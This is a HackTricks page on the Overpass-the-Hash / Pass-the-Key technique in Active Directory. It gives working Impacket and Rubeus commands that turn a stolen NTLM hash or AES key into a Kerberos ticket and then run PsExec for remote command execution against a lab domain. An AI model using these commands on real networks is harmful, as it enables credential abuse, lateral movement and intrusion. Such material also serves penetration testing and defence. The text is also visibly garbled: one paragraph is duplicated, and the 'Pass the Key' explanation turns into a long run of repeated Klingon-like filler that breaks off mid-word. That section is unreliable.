hacktricks/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md

Over Pass the Hash/Pass the Key

htARTE (HackTricks AWS Red Team Expert) !HackTricks AWS Red Team Expert!

• Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
• Discover The PEASS Family, our collection of exclusive NFTs
• Get the official PEASS & HackTricks swag
• Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
• Share your hacking tricks by submitting PRs to the hacktricks repo and hacktricks-cloud repo.

Overpass The Hash/Pass The Key (PTK)

The Overpass The Hash/Pass The Key (PTK) attack is designed for environments where the traditional NTLM protocol is restricted, and Kerberos authentication takes precedence. This attack leverages the NTLM hash or AES keys of a user to solicit Kerberos tickets, enabling unauthorized access to resources within a network.

To execute this attack, the initial step involves acquiring the NTLM hash or password of the targeted user's account. Upon securing this information, a Ticket Granting Ticket (TGT) for the account can be obtained, allowing the attacker to access services or machines to which the user has permissions.

The process can be initiated with the following commands:

python getTGT.py jurassic.park/velociraptor -hashes :2a3de7fe356ee524cc9f3d579f2e0aa7
export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache
python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass

Over-Pass-the-Hash / Pass-the-Key

For scenarios necessitating AES256, the -aesKey [AES key] option can be utilized. Moreover, the acquired ticket might be employed with various tools, including smbexec.py or wmiexec.py, broadening the scope of the attack.

Encountered issues such as PyAsn1Error or KDC cannot find the name are typically resolved by updating the Impacket library or using the hostname instead of the IP address, ensuring compatibility with the Kerberos KDC.

An alternative command sequence using Rubeus.exe demonstrates another facet of this technique:

Over-Pass-the-Hash / Pass-the-Key

For scenarios necessitating AES256, the -aesKey [AES key] option can be utilized. Moreover, the acquired ticket might be employed with various tools, including smbexec.py or wmiexec.py, broadening the scope of the attack.

Encountered issues such as PyAsn1Error or KDC cannot find the name are typically resolved by updating the Impacket library or using the hostname instead of the IP address, ensuring compatibility with the Kerberos KDC.

An alternative command sequence using Rubeus.exe demonstrates another facet of this technique:

.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt
.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd

Pass the Key yIqemnIS, 'ej 'oH 'e' vItlhutlhlaHbe'chugh, 'ej 'oH authentication purposes. 'ach, 'oHmey Windows systems prefer AES256, 'ach 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej 'oHmey 'e' vItlhutlhlaHbe'chugh, 'ej '

.\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:HASH /nowrap /opsec

References

• https://www.tarlogic.com/es/blog/como-atacar-kerberos/

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

• Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
• Discover The PEASS Family, our collection of exclusive NFTs
• Get the official PEASS & HackTricks swag
• Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
• Share your hacking tricks by submitting PRs to the hacktricks repo and hacktricks-cloud repo.